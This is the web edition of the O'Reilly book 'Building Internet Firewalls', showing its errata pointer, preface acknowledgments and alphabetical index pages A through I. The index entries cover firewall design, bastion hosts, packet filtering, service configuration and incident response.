ftp://ftp.greatcircle.com/pub/firewalls-book/Errata

and on the World Wide Web at:

http://www.greatcircle.com/firewalls-book/errata.html

Previous: Comments and Questions | Building Internet Firewalls | Next: Acknowledgments
Comments and Questions | Book Index | Acknowledgments


[Preface] Acknowledgments

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: Online Information Preface Next: I. Network Security

Acknowledgments

When we set out to write this book, we had no idea that it would consume so much time and energy. We would never have succeeded without the help of many people.

Special thanks to Ed DeHart and Craig Hunt. Ed worked with Brent in the early stages of this book and wrote the foreword to it; we appreciate all that he has done to help. TCP/IP is essential for understanding the basics of firewall construction, and Craig Hunt, author of TCP/IP Network Administration has kindly let us excerpt much of that book's Chapters 1 and 2 in this book's Appendix C so readers who do not already have a TCP/IP background can get a jump start.

Thanks to all those who reviewed drafts of the book before publication and made helpful suggestions: Fred Avolio, Steve Bellovin, Niels Bjergstrom, Rik Farrow, Simson Garfinkel, Eliot Lear, Evi Nemeth, Steve Simmons, Steve Romig, Gene Spafford, Phil Trubey, and Mark Verber. Thanks as well to Eric Allman for answering many Sendmail questions and Paul Traina for answering many Cisco questions.

Thanks to all the people at O'Reilly & Associates who turned this manuscript into a finished book: to Mary Anne Weeks Mayo, the wonderful and patient project manager/copyeditor for the book; Len Muellner, Ellen Siever, and Norm Walsh who converted the book from Word to SGML and contributed their tool-tweaking prowess; Chris Reilley who created the many excellent diagrams; Edie Freedman who designed the cover and Nancy Priest who designed the interior layout; John Files and Juliette Muellner who assisted with production; Seth Maislin who prepared the index; and Sheryl Avruch and Kismet McDonough-Chan who did the final quality control on the book.

Brent says: I would like to extend personal thanks to my friends and family, for keeping me going for a year and a half while I worked on the book; to my staff at Great Circle Associates, for keeping my business going; to the many hundreds of folks who've attended my Internet Security Firewalls Tutorial, for providing the impetus for this whole endeavor (and for keeping my bills paid!); and to the many thousands of subscribers to the Firewalls mailing list on the Internet, for providing a stimulating environment to develop many of the ideas found in this book. I also owe a lot of thanks to Debby Russell, our editor at O'Reilly & Associates, for all her help and guidance, and to our technical reviewers, for all their wonderful comments and suggestions. Most of all, though, I'd like to thank my very good friend and coauthor, Elizabeth Zwicky, without whose collaboration and encouragement this book probably never would have been finished, and certainly wouldn't have been as good.

Elizabeth says: My thanks go to my friends, my family, and my colleagues at Silicon Graphics, for an almost infinite patience with my tendency to alternate between obsessing about the book and refusing to discuss anything even tangentially related to it. I'd like to particularly thank Arnold Zwicky, Diana Smetters, Greg Rose, Eliot Lear, and Jeanne Dusseault for their expert moral support (often during similar crises of their own). But the most thanks for this effort have to go to Debby and Brent, for giving me a chance to be part of an unexpected but extremely rewarding project.

Previous: Online Information | Building Internet Firewalls | Next: I. Network Security
Online Information | Book Index | I. Network Security


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: A

Academic-Firewalls mailing list : A.3.3. Academic-Firewalls
access
fail safety and : 3.5. Fail-Safe Stance
least privilege : 3.1. Least Privilege
logging : (see logs)
monitoring at choke point : 3.3. Choke Point
to networks : 1.3.4. Network Security
to unbuilt bastion host : 5.8. Building a Bastion Host
access router : (see exterior routers)
accidents : 1.2.3. Stupidity and Accidents
account management : 12.1.2. Managing Your Accounts
ACK (acknowledgment) bit
6.3.1.3. TCP layer
C.6.2. Transmission Control Protocol
TCP connections and : 6.3.3.1. TCP
with SMTP : 8.1.1.4. Packet filtering characteristics of SMTP
activity logs : (see logs)
address depletion : C.9.1. Address Depletion
address-based authentication : 2.13. Window Systems
addresses
accepted by router : 6.5. Conventions for Packet Filtering Rules
broadcast : C.9. The IP Address
email : (see email)
filtering by : 6.6. Filtering by Address
IP : (see IP addresses)
loopback : C.9. The IP Address
AFS (Andrew File System)
2.12. Network File Systems
B.5.5. Andrew File System (AFS)
Andrew File System : (see AFS)
anonymous FTP
2.2. File Transfer
5.8.2.4. Which services should you disable?
8.2.1. File Transfer Protocol (FTP)
(see also FTP)
Archie : 2.6. Other Information Services
providing : 8.2.1.3. Providing anonymous FTP service
removing files from : 8.2.1.6. Be careful of writable directories in the anonymous FTP area
via proxy server : 7.2.2. Using Custom User Procedures for Proxying
writing directories in : 8.2.1.6. Be careful of writable directories in the anonymous FTP area
wuarchive server : 8.2.1.4. Using the wuarchive FTP daemon
APOP (version of POP) : 8.1.2. Post Office Protocol (POP)
application-level
encryption : 10.5.1. At What Level Do You Encrypt?
gateways : (see proxy services)
proxy servers : 7.3.1. Application-Level Versus Circuit-Level Proxies
Archie
2.6. Other Information Services
6.8.4. It Should Allow Rules Based on Any Header or Meta-packet Criteria
access via email : 8.7.3.3. Providing Archie service to your users
access via WWW : 8.7.3.3. Providing Archie service to your users
across Telnet : 8.7.3.3. Providing Archie service to your users
configuring : 8.7.3. Archie
protocol : 8.7.3.3. Providing Archie service to your users
server, running : 8.7.3.4. Running an Archie server
AS (autonomous systems) : C.10. Internet Routing Architecture
attackers : (see intruders)
revealing DNS information to : 8.10.4.3. Revealing too much information to attackers
slower machines and : 5.3.2. How Fast a Machine?
attacks : (see incidents)
audit, security : 5.8.5. Running a Security Audit
checksums : 5.8.5.3. About checksums for auditing
of packages : 5.8.5.1. Auditing packages
tools for : B.2. Analysis Tools
authentication : 10. Authentication and Inbound Services
address-based : 2.13. Window Systems
client, network filesystems and : 2.12. Network File Systems
commercial systems for : 10.4.3. Commercial Solutions
complete systems for : 10.4. Complete Authentication Systems
false : 10.1.3. False Authentication
NFS : 8.14. Network File System (NFS)
of remote logins : 2.3. Remote Terminal Access and Command Execution
TIS FWTK server : 10.4.2. TIS FWTK Authentication Server
tools for : B.1. Authentication Tools
types of : 10.2. What Is Authentication?
autonomous systems (AS) : C.10. Internet Routing Architecture

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: B

backups
3.1. Least Privilege
5.10. Protecting the Machine and Backups
13.5.1. Backing Up Your Filesystems
of firewalls : 12.1.1. Backing Up Your Firewall
logs and : 5.10.2. Do Secure Backups
using to restore system : 13.1.6. Restore and Recover
bastion hosts
4.1. Some Firewall Definitions
4.2.3.2. Bastion host
5. Bastion Hosts
backups of : 5.10. Protecting the Machine and Backups
building : 5.8. Building a Bastion Host
fake DNS server on : 8.10.5.1. Set up a `fake' DNS server on the bastion host for the outside world to use
graphics on : 5.3.3. What Hardware Configuration?
internal : 5.2.3. Internal Bastion Hosts
on internal firewalls : 4.4.6. An Internal Firewall May or May Not Need Bastion Hosts
isolating : 4.2.3. Screened Subnet Architecture
merging with exterior router : 4.3.3. It's OK to Merge the Bastion Host and the Exterior Router
merging with interior router : 4.3.4. It's Dangerous to Merge the Bastion Host and the Interior Router
multiple : 4.3.1. It's OK to Use Multiple Bastion Hosts
network location of : 5.5. Locating the Bastion Host on the Network
as news server : 8.5.3. Dangerous Ways to Set up NNTP in a Firewall Environment
nonrouting dual-homed : 5.2.1. Nonrouting Dual-homed Hosts
operating : 5.9. Operating the Bastion Host
physical location of : 5.4. Choosing a Physical Location
selecting services for : 5.6. Selecting Services Provided by the Bastion Host
Sendmail on
8.1.1.2. Why does Sendmail have security problems?
8.1.1.6. Configuring SMTP to work with a firewall
speed of : 5.3.2. How Fast a Machine?
usage profile : 5.9.1. Learn What the Normal Usage Profile Is
user accounts on : 5.7. Don't Allow User Accounts on the Bastion Host
Berkeley Internet Name Domain (BIND) : 8.10. Domain Name System (DNS)
Berkeley Software Distribution : (see BSD)
bidirectionality of protocol : 6.2.1. Protocols Are Usually Bidirectional
booting services : 5.8.2.4. Which services should you disable?
broadcast address : C.9. The IP Address
broadcasting : 8.9.3. The Multicast Backbone (MBONE)
browsers, WWW : 2.5. The World Wide Web
as FTP clients : 8.2.1.1. Packet filtering characteristics of FTP
as Gopher clients : (see Gopher)
MIME in : 8.1.3. Multipurpose Internet Mail Extensions (MIME)
BSD (Berkeley Software Distribution) : 2.14. Printing Systems
"r" command : 5.8.2.4. Which services should you disable?
"r" commands : 6.1.2.2. Some protocols are not well suited to packet filtering
configuring : 8.4.1. BSD `r' Commands
bugs : (see debugging)
command-line : 8.1. Electronic Mail
in packet filtering packages : 6.1.2.1. Current filtering tools are not perfect
BugTraq mailing list : A.3.4. BugTraq
building bastion hosts : 5.8. Building a Bastion Host

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: C

capturing intruders : 13.3. Pursuing and Capturing the Intruder
catastrophe logs : 5.8.1.4. Safeguard the system logs
CD-ROM drive : 5.3.3. What Hardware Configuration?
CERN HTTP daemon : B.5.2. CERN httpd
CERN HTTP server : 8.6.2. Proxying Characteristics of HTTP
CERT-CC response teams
13.4.4.2. CERT-CC and other incident response teams
A.2.2. info.cert.org
A.3.5. CERT-Advisory
A.5.1. CERT-CC
contacting regarding incident : 13.1.4.2. CERT-CC or other incident response teams
CGI (Common Gateway Interface) : 8.6.3.1. What can a malicious client do to your HTTP server?
challenge-response system
10.2.2. Something You Know
10.3.3. Challenge-Response Schemes
checksums : 5.8.5.3. About checksums for auditing
keeping secure : 13.5.3. Keeping Secured Checksums
using Tripwire for : 5.8.5.1. Auditing packages
choke points
3.3. Choke Point
9.1.4.3. Choke point
9.2.3.3. Choke point
using router as : 6.1. Why Packet Filtering?
choke router : (see interior router)
choot mechanism : 5.3.1. What Operating System?
chroot command : 8.2.1.3. Providing anonymous FTP service
chrootuid program : B.6.3. chrootuid
circuit-level proxy servers : 7.3.1. Application-Level Versus Circuit-Level Proxies
Cisco routers : 6.5. Conventions for Packet Filtering Rules
client
authentication, network filesystems and : 2.12. Network File Systems
internal versus external : 7.4.5. Internal Versus External Clients
port numbers : 8. Configuring Internet Services
software for proxying : 7.2.1. Using Custom Client Software for Proxying
clocks
configuring : 8.13. Network Time Protocol (NTP)
setting : 2.11. Time Service
COAST
A.1.2. COAST
A.2.1. coast.cs.purdue.edu
command channel attacks : 8.1. Electronic Mail
command execution : 2.3. Remote Terminal Access and Command Execution
command-line bugs : 8.1. Electronic Mail
commenting out lines : 5.8.2.2. How to disable services
commercial authentication systems : 10.4.3. Commercial Solutions
Common Gateway Interface (CGI) : 8.6.3.1. What can a malicious client do to your HTTP server?
computer viruses : 1.4.2.4. A firewall can't protect against viruses
conferencing services, real-time : 2.8. Real-Time Conferencing Services
configuring : 8.9. Real-Time Conferencing Services
configuring
Archie : 8.7.3. Archie
audit packages : 5.8.5.2. Use the auditing packages
clocks : 8.13. Network Time Protocol (NTP)
DNS (Domain Name Service) : 8.10. Domain Name System (DNS)
in screened host architecture : 9.2.1.6. DNS
in screened subnet architecture : 9.1.1.6. DNS
email : 8.1. Electronic Mail
exterior routers : 9.1.2.2. Exterior Router
FSP (File Service Protocol) : 8.2.3. File Service Protocol (FSP)
FTP (File Transfer Protocol) : 8.2.1. File Transfer Protocol (FTP)
in screened host architecture : 9.2.1.2. FTP
in screened subnet architecture : 9.1.1.2. FTP
Gopher : 8.7.1. Gopher
hardware : 5.3.3. What Hardware Configuration?
HTTP (Hypertext Transfer Protocol)
in screened host architecture : 9.2.1.5. HTTP
in screened subnet architecture : 9.1.1.5. HTTP
information lookup services : 8.8. Information Lookup Services
interior router : 9.1.2.1. Interior Router
Internet services : 8. Configuring Internet Services
IRC (Internet Relay Chat) : 8.9.2. Internet Relay Chat (IRC)
kernel : 5.8.4.1. Reconfigure and rebuild the kernel
labeling system : 13.5.2. Labeling and Diagraming Your System
machine : 5.8.4. Reconfiguring for Production
MBONE (Multicast Backbone) : 8.9.3. The Multicast Backbone (MBONE)
network management services : 8.12. Network Management Services
NFS (Network File System) : 8.14. Network File System (NFS)
NIS/YP (Network Information Service) : 8.15. Network Information Service/Yellow Pages (NIS/YP)
NNTP (Network News Transfer Protocol) : 8.5. Network News Transfer Protocol (NNTP)
in screened host architecture : 9.2.1.4. NNTP
in screened subnet architecture : 9.1.1.4. NNTP
packet filtering router : 6.2. Configuring a Packet Filtering Router
ping program : 8.12.3. ping
printing protocols : 8.17. Printing Protocols (lpr and lp)
"r" commands : 8.4.1. BSD `r' Commands
real-time conferencing services : 8.9. Real-Time Conferencing Services
RIP (Routing Information Protocol) : 8.12.2. Routing Information Protocol (RIP)
SMTP (Simple Mail Transfer Protocol)
in screened host architecture : 9.2.1.3. SMTP
in screened subnet architecture : 9.1.1.3. SMTP
with firewalls : 8.1.1.6. Configuring SMTP to work with a firewall
SNMP (Simple Network Management Protocol) : 8.12.1. Simple Network Management Protocol (SNMP)
syslog : 8.11. syslog
Telnet : 8.3. Terminal Access (Telnet)
in screened host architecture : 9.2.1.1. Telnet
in screened subnet architecture : 9.1.1.1. Telnet
TFTP (Trivial File Transport Protocol) : 8.2.2. Trivial File Transfer Protocol (TFTP)
TNP (Network Time Protocol) : 8.13. Network Time Protocol (NTP)
traceroute program : 8.12.4. traceroute
UUCP (UNIX-to-UNIX Copy Protocol) : 8.2.4. UNIX-to-UNIX Copy Protocol (UUCP)
WAIS (Wide Area Information Servers) : 8.7.2. Wide Area Information Servers (WAIS)
WWW (World Wide Web) and HTTP : 8.6. World Wide Web (WWW) and HTTP
X11 Window wystem : 8.16. X11 Window System
connections
between Internet and unbuilt bastion host : 5.8. Building a Bastion Host
checking network : (see ping program)
disconnecting after incident : 13.1.2. Disconnect or Shut Down, as Appropriate
disconnecting machine : 13.4.3. Planning for Disconnecting or Shutting Down Machines
killed by TCP : 6.3.3.1. TCP
multiple Internet : 4.3.6. It's OK to Use Multiple Exterior Routers
unidirectional versus multidirectional : 7.4.2. Unidirectional Versus Multidirectional Connections
COPS (Computer Oracle and Password System) : B.2.1. COPS
auditing package : 5.8.5.1. Auditing packages
crashes, system : 5.10.1. Watch Reboots Carefully
CRC (cyclic redundancy counter) : 5.8.5.3. About checksums for auditing
crypt program : 5.8.2.2. How to disable services
cryptographic checksum algorithms : 5.8.5.3. About checksums for auditing
cryptography : 10. Authentication and Inbound Services
CSRC (Computer Security Resource Clearinghouse) : A.5.3. NIST CSRC
custom
client software for proxying : 7.2.1. Using Custom Client Software for Proxying
system : 13.1.6. Restore and Recover
user procedures for proxying : 7.2.2. Using Custom User Procedures for Proxying
cyclic redundancy counter (CRC) : 5.8.5.3. About checksums for auditing

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: D

daemons, tools for : B.5. Daemons
data : 1.1.1. Your Data
communications protocols : (see TCP/IP)
DNS : 8.10.3. DNS Data
mismatched : 8.10.4.2. Mismatched data between the hostname and IP address DNS trees
protecting from sniffers : 10.1.2. Packet Sniffing
theft of : (see information theft)
espionage : 1.2.2.4. Spies (Industrial and Otherwise)
transferring
6. Packet Filtering
(see email; files, transferring)
allowing/disallowing : 6.1. Why Packet Filtering?
via TCP : 6.3.3.1. TCP
user-specified, and proxying : 7.4.4. User-Specified Data
data-driven attacks : 8.1. Electronic Mail
datagrams : C.5.1.1. The datagram
fragmenting : C.5.1.3. Fragmenting datagrams
DCC (Direct Client Connections) : 8.9.2. Internet Relay Chat (IRC)
DDN (Defense Data Network) : C.10. Internet Routing Architecture
debugging
6.1.2.1. Current filtering tools are not perfect
(see also bugs)
operating system : 5.8.1.2. Fix all known system bugs
dedicated proxy servers : 7.3.2. Generic Versus Dedicated Proxies
default deny stance
3.5.1. Default Deny Stance: That Which Is Not Expressly Permitted Is Prohibited
6.2.3. Default Permit Versus Default Deny
default permit stance
3.5.2. Default Permit Stance: That Which Is Not Expressly Prohibited Is Permitted
6.2.3. Default Permit Versus Default Deny
Defense Data Network (DDN) : C.10. Internet Routing Architecture
defense in depth
3.2. Defense in Depth
9.1.4.2. Defense in depth
9.2.3.2. Defense in depth
delivery agent, email : 8.1. Electronic Mail
Demilitarized Zone (DMZ) : 4.1. Some Firewall Definitions
denial of service : 1.2.1.2. Denial of Service
accidental : 1.2.3. Stupidity and Accidents
designing firewalls : 1.4.3. Buying Versus Building
destination unreachable codes : (see ICMP)
diagramming the system : 13.5.2. Labeling and Diagraming Your System
dictionary attacks : 10.3.1. One-Time Passwords
Direct Client Connections (DCC) : 8.9.2. Internet Relay Chat (IRC)
disabling Internet services : 5.8.2. Disabling Nonrequired Services
disabling routing : (see routing, disabling)
disconnecting after incident : 13.1.2. Disconnect or Shut Down, as Appropriate
disconnecting machine : 13.4.3. Planning for Disconnecting or Shutting Down Machines
disk space : (see memory/disk space; resources)
disks, needs for : 5.3.3. What Hardware Configuration?
diversity of defense systems : 3.7. Diversity of Defense
DMZ (Demilitarized Zone) : 4.1. Some Firewall Definitions
DNS (Domain Name Service)
2.9. Name Service
5.6. Selecting Services Provided by the Bastion Host
configuring : 8.10. Domain Name System (DNS)
in screened host architecture : 9.2.1.6. DNS
in screened subnet architecture : 9.1.1.6. DNS
without hiding information : 8.10.6. Setting up DNS Without Hiding Information
data : 8.10.3. DNS Data
fake server : 8.10.5.1. Set up a `fake' DNS server on the bastion host for the outside world to use
hiding information with : 8.10.5. Setting Up DNS to Hide Information
revealing information to attackers : 8.10.4.3. Revealing too much information to attackers
server for internal hosts : 8.10.5.2. Set up a real DNS server on an internal system for internal hosts to use
documenting
incidents : 13.1.7. Document the Incident
plan for : 13.4.7. Planning for Documentation
system after incident
13.1.5. Snapshot the System
13.4.5. Planning for Snapshots
Domain Name Service : (see DNS)
dot (.) files, disabling creation of : 8.2.1.6. Be careful of writable directories in the anonymous FTP area
double-reverse lookups
8.10.4.2. Mismatched data between the hostname and IP address DNS trees
8.10.5.1. Set up a `fake' DNS server on the bastion host for the outside world to use
Drawbridge package : B.3.2. Drawbridge
dual-homed hosts
7. Proxy Systems
(see also proxy services)
architecture of : 4.2.1. Dual-Homed Host Architecture
with screen subnet architecture : 4.3.8. It's OK to Use Dual-Homed Hosts and Screened Subnets
as firewall : 5.8.2.5. Turning off routing
nonrouting : 5.2.1. Nonrouting Dual-homed Hosts
proxy services and : (see proxy services)
dynamic packet filtering : 6.3.3.2. UDP
FTP and : 8.2.1.1. Packet filtering characteristics of FTP

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: E

electronic mail : (see email)
electronic sabotage : (see denial of service)
email
2.1. Electronic Mail
5.6. Selecting Services Provided by the Bastion Host
addresses, searching for : 2.7. Information About People
Archie access via : 8.7.3.3. Providing Archie service to your users
configuring : 8.1. Electronic Mail
flooding : 1.2.1.2. Denial of Service
mailing lists
resources via : A.3. Mailing Lists
Sendmail : 2.1. Electronic Mail
SMTP (Simple Mail Transfer Protocol) : 2.1. Electronic Mail
to trace intruders : 13.3. Pursuing and Capturing the Intruder
encapsulation
6.3. What Does a Packet Look Like?
C.3. TCP/IP Protocol Architecture
encryption
application-level : 10.5.1. At What Level Do You Encrypt?
of executables : 5.8.2.2. How to disable services
key distribution : 10.5.4. Key Distribution
network-level : 10.5. Network-Level Encryption
packet filtering perimeter and : 10.5.3. Where Do You Encrypt?
of time-stamp : 10.2.2. Something You Know
errors, ICMP codes for : 6.4.2. Returning ICMP Error Codes
espionage : 1.2.2.4. Spies (Industrial and Otherwise)
/etc/hosts.deny file : 5.8.3.1. Using the TCP Wrapper package to protect services
/etc/rc files, services started by : 5.8.2.1. How are services managed?
Ethernet packet layer : 6.3.1.1. Ethernet layer
exporting news via NFS : 8.5.3.3. Exporting news to clients via NFS
exterior routers : 4.2.3.4. Exterior router
configuring : 9.1.2.2. Exterior Router
merging with bastion host : 4.3.3. It's OK to Merge the Bastion Host and the Exterior Router
merging with interior router : 4.3.2. It's OK to Merge the Interior Router and the Exterior Router
multiple : 4.3.6. It's OK to Use Multiple Exterior Routers
external
clients, and proxying : 7.4.5. Internal Versus External Clients
programs on HTTP servers : 8.6.3.1. What can a malicious client do to your HTTP server?

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: F

fail safety : 3.5. Fail-Safe Stance
fail-safe stance
9.1.4.5. Fail-safe stance
9.2.3.5. Fail-safe stance
false authentication : 10.1.3. False Authentication
File Service Protocol : (see FSP)
File Transfer Protocol : (see FTP)
files
removing from anonymous FTP area : 8.2.1.6. Be careful of writable directories in the anonymous FTP area
transferring
2.2. File Transfer
8.2. File Transfer
8.14. Network File System (NFS)
(see also NFS)
uploading by prearrangement : 8.2.1.6. Be careful of writable directories in the anonymous FTP area
filesystems
backing up : 13.5.1. Backing Up Your Filesystems
mounting as read-only : 5.8.4.3. Mount filesystems as read-only
network : 2.12. Network File Systems
filtering : (see packets, filtering)
filtering router : (see screening routers)
finger service
2.7. Information About People
5.6. Selecting Services Provided by the Bastion Host
5.8.2.4. Which services should you disable?
8.8.1. finger
fingerd server : 5.8.2.4. Which services should you disable?
fingerprint authentication : 10.2.1. Something You Are
firewalls
1.4. What Is an Internet Firewall?
(see also network, security)
architecture of : 4.2. Firewall Architectures
backing up : 12.1.1. Backing Up Your Firewall
buying versus building : 1.4.3. Buying Versus Building
configuring NTP with : 8.13.3. Configuring NTP to Work with a Firewall
configuring SMTP with : 8.1.1.6. Configuring SMTP to work with a firewall
definition of : 1.4. What Is an Internet Firewall?
designing : 4. Firewall Design
dual-homed host as : 5.8.2.5. Turning off routing
FAQ for : A.7. Papers
internal : 4.4. Internal Firewalls
bastion hosts on : 4.4.6. An Internal Firewall May or May Not Need Bastion Hosts
IP multicasting and : 8.9.3. The Multicast Backbone (MBONE)
IPv6 and : 6.3.6. IP Version 6
on joint networks : 4.4.4. Joint Venture Firewalls
keeping current : 12.3. Keeping Up to Date
layering : 3.2. Defense in Depth
mailing lists on : A.3.1. Firewalls
maintaining : 12. Maintaining Firewalls
multiple bastion hosts : 4.3.1. It's OK to Use Multiple Bastion Hosts
recreating entirely : 12.5. When Should You Start Over?
resources for : A. Resources
responding to probes of : 12.2.4. Responding to Probes
responding to security incidents : 13. Responding to Security Incidents
samples of : 9. Two Sample Firewalls
security policies for : 11. Security Policies
setting up NNTP in : 8.5.3. Dangerous Ways to Set up NNTP in a Firewall Environment
testing : 6.8.7. It Should Be Able to Log Accepted and Dropped Packets
tools for : B. Tools
utilities for : B.6. Utilities
weakest link and : 3.4. Weakest Link
what to protect : 1.1. What Are You Trying to Protect?
X11 window system and : 8.16. X11 Window System
FIRST response teams : A.5.2. FIRST
flooding : 1.2.1.2. Denial of Service
flow control : C.6.2. Transmission Control Protocol
flows, IPv6 : 6.3.6. IP Version 6
forged packets : 6.3.7. Non-IP Protocols
forgery
man-in-the-middle : 6.6.1. Risks of Filtering by Source Address
source address : 6.6.1. Risks of Filtering by Source Address
fragmentation : C.5.1.3. Fragmenting datagrams
fragments, packet
6.3.1.2. IP layer
6.3.2.2. IP fragmentation
FSP (File Service Protocol) : 2.2. File Transfer
configuring : 8.2.3. File Service Protocol (FSP)
FTP (File Transfer Protocol)
2.2. File Transfer
5.8.2.4. Which services should you disable?
8.2.2. Trivial File Transfer Protocol (TFTP)
(see also TFTP)
Archie : 2.6. Other Information Services
configuring : 8.2.1. File Transfer Protocol (FTP)
in screened host architecture : 9.2.1.2. FTP
in screened subnet architecture : 9.1.1.2. FTP
passive (or PASV) mode : 8.2.1.1. Packet filtering characteristics of FTP
proxying with TIS FWTK : 7.7.1. FTP Proxying with TIS FWTK
resources for : A.2. FTP Sites
via proxy server : 7.2.2. Using Custom User Procedures for Proxying
write-only incoming directory : 8.2.1.6. Be careful of writable directories in the anonymous FTP area
wuarchive daemon : B.5.1. wuarchive ftpd
wuarchive server : 8.2.1.4. Using the wuarchive FTP daemon
ftp-gw proxy server : 9.1.1.2. FTP
ftpd program : 5.8.2.4. Which services should you disable?
functions, SOCKS vs. network : 7.6. Using SOCKS for Proxying
FWALL-Users mailing list : A.3.2. FWALL-Users

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: G

gated : 5.8.2.4. Which services should you disable?
gated daemon : B.5.4. gated
gateways : C.5.1.1. The datagram
application-level : (see proxy services)
WAIS : 8.7.2.3. Gateways to WAIS
general-purpose routers : 6.8.2. It Can Be a Single-Purpose Router or a General-Purpose Computer
generic proxy servers : 7.3.2. Generic Versus Dedicated Proxies
GGP (Gateway to Gateway Protocol) : C.10. Internet Routing Architecture
Gopher : 2.6. Other Information Services
configuring : 8.7.1. Gopher
proxying with TIS FWTK : 7.7.4. Other TIS FWTK Proxies
graphics : 5.3.3. What Hardware Configuration?

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: H

handshakes : C.6.2. Transmission Control Protocol
hardware
configuration of : 5.3.3. What Hardware Configuration?
router : (see routers)
header packet : 6.3. What Does a Packet Look Like?
headers
nested IP : 6.3.6. IP Version 6
packet filtering and : 6.8.4. It Should Allow Rules Based on Any Header or Meta-packet Criteria
hiding information with DNS : 8.10.5. Setting Up DNS to Hide Information
hijacking : 10.1.1. Hijacking
HINFO records : 8.10.4.3. Revealing too much information to attackers
host unreachable codes : (see ICMP)
hosts
architecture of
dual-homed : 4.2.1. Dual-Homed Host Architecture
screened : 4.2.2. Screened Host Architecture
architecture, screened : 9.2. Screened Host Architecture
bastion : (see bastion hosts)
name service for : 2.9. Name Service
security of : 1.3.3. Host Security
speed of : 5.3.2. How Fast a Machine?
victim : (see victim hosts)
housekeeping : 12.1. Housekeeping
HTML (Hypertext Markup Language) : 2.5. The World Wide Web
HTTP (Hypertext Transfer Protocol) : 2.5. The World Wide Web
CERN server : 8.6.2. Proxying Characteristics of HTTP
configuring : 8.6. World Wide Web (WWW) and HTTP
in screened host architecture : 9.2.1.5. HTTP
in screened subnet architecture : 9.1.1.5. HTTP
proxying with TIS FWTK : 7.7.4. Other TIS FWTK Proxies
Secure : 8.6.4. Secure HTTP
TIS FWTK proxy server : 8.6.2. Proxying Characteristics of HTTP
http-gw proxy : 7.7.4. Other TIS FWTK Proxies
http-gw server : 8.6.2. Proxying Characteristics of HTTP
Hypertext Markup Language : (see HTML)
Hypertext Transfer Protocol : (see HTTP)

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: I

ICMP (Internet Control Message Protocol)
2.10. Network Management Services
6.3.3.3. ICMP
C.5.2. Internet Control Message Protocol
echo
8.12.3. ping
(see also ping program)
packets, configuring : 8.12.5. Other ICMP Packets
returning error codes : 6.4.2. Returning ICMP Error Codes
immutable attribute (BSD 4.4-Lite) : 5.8.4.3. Mount filesystems as read-only
inbound
packets : 6.2.2. Be Careful of `Inbound' Versus `Outbound' Semantics
filtering rules for : 6.8.6. It Should Apply Rules Separately to Incoming and Outgoing Packets, on a Per-Interface Basis
Telnet : 6.7.2. Inbound Telnet Service
services : 10. Authentication and Inbound Services
incident response teams
13.1.4.2. CERT-CC or other incident response teams
13.4.4.2. CERT-CC and other incident response teams
A.5. Response Teams and Other Organizations
resources for : A.2.2. info.cert.org
incidents
accidental : 1.2.3. Stupidity and Accidents
command channel : 8.1. Electronic Mail
contacting service providers about : 13.4.4.3. Vendors and service providers
data-driven attacks : 8.1. Electronic Mail
detecting, plan for : 13.4.1. Planning for Detection
documenting
13.1.5. Snapshot the System
13.1.7. Document the Incident
planning for : 13.4.5. Planning for Snapshots
evaluating, plan for : 13.4.2. Planning for Evaluation of the Incident
having tools and supplies for : 13.5.5. Keeping a Cache of Tools and Supplies
hijacking : 10.1.1. Hijacking
intrusions : 1.2.1.1. Intrusion
multiple failed attacks : 12.2.3. The Good, the Bad, and the Ugly
notifying people about
13.1.4. Make `Incident in Progress' Notifications
13.4.4. Planning for Notification of People Who Need to Know
password attacks : 10.3.1. One-Time Passwords
practicing drills for : 13.5.7. Doing Drills
recovering from : 13.1.6. Restore and Recover
planning to : 13.4.6. Planning for Restoration and Recovery
responding to
12.2.5. Responding to Attacks
13. Responding to Security Incidents
reviewing response strategies : 13.4.8. Periodic Review of Plans
types of : 1.2. What Are You Trying To Protect Against?
incoming directories, FTP : 8.2.1.6. Be careful of writable directories in the anonymous FTP area
inetd : 5.8.2.1. How are services managed?
modifying for anonymous FTP : 8.2.1.3. Providing anonymous FTP service
information lookup services
configuring : 8.8. Information Lookup Services
information theft : 1.2.1.3. Information Theft
espionage : 1.2.2.4. Spies (Industrial and Otherwise)
